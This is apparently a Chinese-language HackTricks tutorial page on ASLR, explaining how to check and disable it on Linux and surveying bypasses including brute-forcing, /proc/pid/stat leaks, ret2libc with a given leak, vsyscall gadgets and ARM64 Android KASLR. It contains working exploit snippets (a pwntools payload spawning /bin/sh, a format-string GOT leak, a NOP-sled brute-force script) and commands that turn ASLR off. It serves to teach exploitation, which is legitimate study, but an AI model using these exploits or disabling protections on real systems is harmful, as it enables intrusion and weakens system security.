ASLR

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

Address Space Layout Randomization (ASLR) 是操作系统中使用的一种安全技术,用于随机化内存地址,这些内存地址被系统和应用进程使用。通过这样做,攻击者就更难预测特定进程和数据的位置,比如 stack、heap 和 libraries,从而缓解某些类型的漏洞利用,尤其是 buffer overflows。

检查 ASLR 状态

在 Linux 系统上,要 检查 ASLR 状态,可以读取 /proc/sys/kernel/randomize_va_space 文件中的值。此文件中存储的值决定所应用的 ASLR 类型:

  • 0: No randomization. Everything is static.
  • 1: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
  • 2: Full randomization. In addition to elements randomized by conservative randomization, memory managed through brk() is randomized.

你可以使用以下命令检查 ASLR 状态:

cat /proc/sys/kernel/randomize_va_space

禁用 ASLR

禁用 ASLR,设置 /proc/sys/kernel/randomize_va_space 的值为 0。通常不建议在测试或调试场景之外禁用 ASLR。下面是如何禁用它:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

你也可以在执行时禁用 ASLR:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

启用 ASLR

启用 ASLR,可以将值 2 写入 /proc/sys/kernel/randomize_va_space 文件。 这通常需要 root 权限。可以使用以下命令启用完全随机化:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

在重启后保持持久性

使用 echo 命令所做的更改是临时的,重启后会被重置。要使更改持久化,需要编辑 /etc/sysctl.conf 文件并添加或修改以下行:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

编辑 /etc/sysctl.conf 后,使用以下命令应用更改:

sudo sysctl -p

这将确保你的 ASLR 设置在重启后保持不变。

绕过

32bit brute-forcing

PaX 将进程地址空间划分为 3 组

  • Code and data (initialized and uninitialized): .text, .data, and .bss —> 在 delta_exec 变量中有 16 bits 的熵。该变量在每个进程中随机初始化并加到初始地址上。
  • Memory allocated by mmap() and shared libraries —> 16 bits,命名为 delta_mmap
  • The stack —> 24 bits,称为 delta_stack。然而,它实际上使用 11 bits(从第10到第20字节,包括两端),按 16 bytes 对齐 —> 这导致 524,288 个可能的真实栈地址

上述数据适用于 32-bit 系统,降低后的最终熵使得通过反复重试执行直到 exploit 成功来绕过 ASLR 成为可能。

Brute-force ideas:

  • 如果你有足够大的 overflow 可以在 shellcode 之前容纳一个 big NOP sled,你可以对栈地址进行 brute-force,直到控制流跳过 NOP sled 的某一部分
  • 另一种选择是在 overflow 不够大且 exploit 可以本地运行的情况下,将 NOP sled 和 shellcode 放入环境变量 中。
  • 如果 exploit 是本地的,你可以尝试 brute-force libc 的基地址(对 32bit 系统有用):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • 如果攻击远程服务器,你可以尝试 brute-force the address of the libc function usleep, 将参数设为 10(例如)。如果某次 server takes 10s extra to respond,那么你就找到了该函数的地址。

Tip

在 64bit 系统中熵值高得多,这不应该可行。

64 bits stack brute-forcing

可以使用 env variables 占据 stack 的大部分,然后在本地对 binary 进行数百或数千次滥用以实现利用。
下面的代码展示了如何 仅选择 stack 中的一个地址,并且每隔几百次执行该地址就会包含 NOP instruction

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force stack NOP 检测 ```python import subprocess import traceback

Start the process

nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops

Define the environment variables you want to set

env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }

cont = 0 while True: cont += 1

if cont % 10000 == 0: break

print(cont, end=“\r”)

Define the path to your binary

binary_path = ‘./aslr-testing’

try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass

</details>

<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>

### 本地信息 (`/proc/[pid]/stat`)

进程的文件 **`/proc/[pid]/stat`** 对所有人可读,且 **包含以下有趣的信息**,例如:

- **startcode** & **endcode**:标注了二进制中 **TEXT** 段的上下地址
- **startstack**:**stack** 的起始地址
- **start_data** & **end_data**:标注了 **BSS** 的上下地址
- **kstkesp** & **kstkeip**:当前的 **ESP** 和 **EIP** 地址
- **arg_start** & **arg_end**:标注了 **cli arguments** 的上下地址
- **env_start** &**env_end**:标注了 **env variables** 的上下地址

因此,如果 attacker 与被利用的 binary 在同一台计算机上,并且该 binary 不是期望从 raw arguments 发生 overflow,而是从读取该文件后可以构造的不同 input 触发,那么 attacker 可以从该文件获取一些地址,并基于这些地址构造 offsets 来进行 exploit。

> [!TIP]
> 有关此文件的更多信息,请查看 [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) 并搜索 `/proc/pid/stat`

### 有 leak

- **该 challenge 会给出 leak**

如果你得到了一个 leak(例如在容易的 CTF challenges 中),你可以基于它计算 offsets(例如假设你知道被你利用的系统上使用的确切 libc 版本)。该 example exploit 摘自 [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)(查看该页面以获取更多细节):

<details>
<summary>具有给定 libc leak 的 Python exploit</summary>
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

滥用 buffer overflow,可以利用 ret2plt 来泄露 libc 中某个函数的地址。查看:

Ret2plt

  • Format Strings Arbitrary Read

正如在 ret2plt 中,如果你通过 format strings vulnerability 获得 arbitrary read,就可以从 GOT 中泄露 libc function 的地址。下面的 example is from here:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

你可以在以下位置找到关于 Format Strings arbitrary read 的更多信息:

Format Strings

Ret2ret & Ret2pop

尝试通过滥用栈内的地址来绕过 ASLR:

Ret2ret & Reo2pop

vsyscall

The vsyscall 机制通过允许某些 system calls 在 user space 执行(尽管它们本质上属于 kernel)以提高性能。vsyscalls 的关键优势在于它们具有固定地址,不受 ASLR (Address Space Layout Randomization) 的影响。这种固定性意味着攻击者不需要信息 leak 漏洞就能确定这些地址并在 exploit 中使用它们。
然而,这里通常找不到特别有趣的 gadgets(尽管例如有可能得到一个等价于 ret; 的指令)

(The following example and code is from this writeup)

例如,攻击者可能在 exploit 中使用地址 0xffffffffff600800。尝试直接跳转到一个 ret 指令可能会在执行几个 gadgets 后导致不稳定或崩溃,但跳到 vsyscall 部分提供的 syscall 起始处可能会成功。通过小心放置一个将执行流引导到该 vsyscall 地址的 ROP gadget,攻击者可以在 exploit 的这一部分实现代码执行,而无需为这一部分绕过 ASLR

示例 vmmap/vsyscall 及 gadget 查找 ```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```

vDSO

注意:如果内核以 CONFIG_COMPAT_VDSO 编译且 vdso 地址不会随机化,则可能可以通过滥用 vdso 来绕过 ASLR。更多信息请参见:

Ret2vDSO

KASLR on ARM64 (Android): 通过固定 linear map 绕过

在许多 arm64 Android 内核上,kernel linear map (direct map) 的基址在多次引导间保持固定。物理页的内核虚拟地址变得可预测,从而对通过 direct map 可达的目标破坏了 KASLR。

  • For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
  • PAGE_OFFSET = 0xffffff8000000000
  • PHYS_OFFSET = memstart_addr (exported symbol)
  • Translation: virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)

Leaking PHYS_OFFSET (rooted or with a kernel read primitive)

  • grep memstart /proc/kallsyms 来查找 memstart_addr
  • 使用任意 kernel 读取(例如 tracing-BPF helper 调用 BPF_FUNC_probe_read_kernel)以小端读取该地址处的 8 字节
  • 计算 direct-map 虚拟地址:virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)

Exploitation impact

  • 如果目标位于或可通过 direct map 访问,则不需要单独的 KASLR leak(例如,可控/可观测的物理页上的页表、内核对象)。
  • 简化了在 arm64 Android 上实现可靠的任意 R/W 并定位内核数据。

Reproduction summary

  1. grep memstart /proc/kallsyms -> memstart_addr 的地址
  2. kernel read -> 解码 8 字节 LE -> PHYS_OFFSET
  3. 使用 virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET),其中 PAGE_OFFSET=0xffffff8000000000

Note

访问 tracing-BPF helpers 需要足够的权限;任何 kernel 读取原语或 info leak 都足以获取 PHYS_OFFSET

修复方式

  • 有限的内核 VA 空间加上 CONFIG_MEMORY_HOTPLUG 为将来 hotplug 保留 VA,从而把 linear map 推到最低的 VA(固定基址)。
  • upstream arm64 已移除 linear-map 随机化(commit 1db780bafa4c)。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks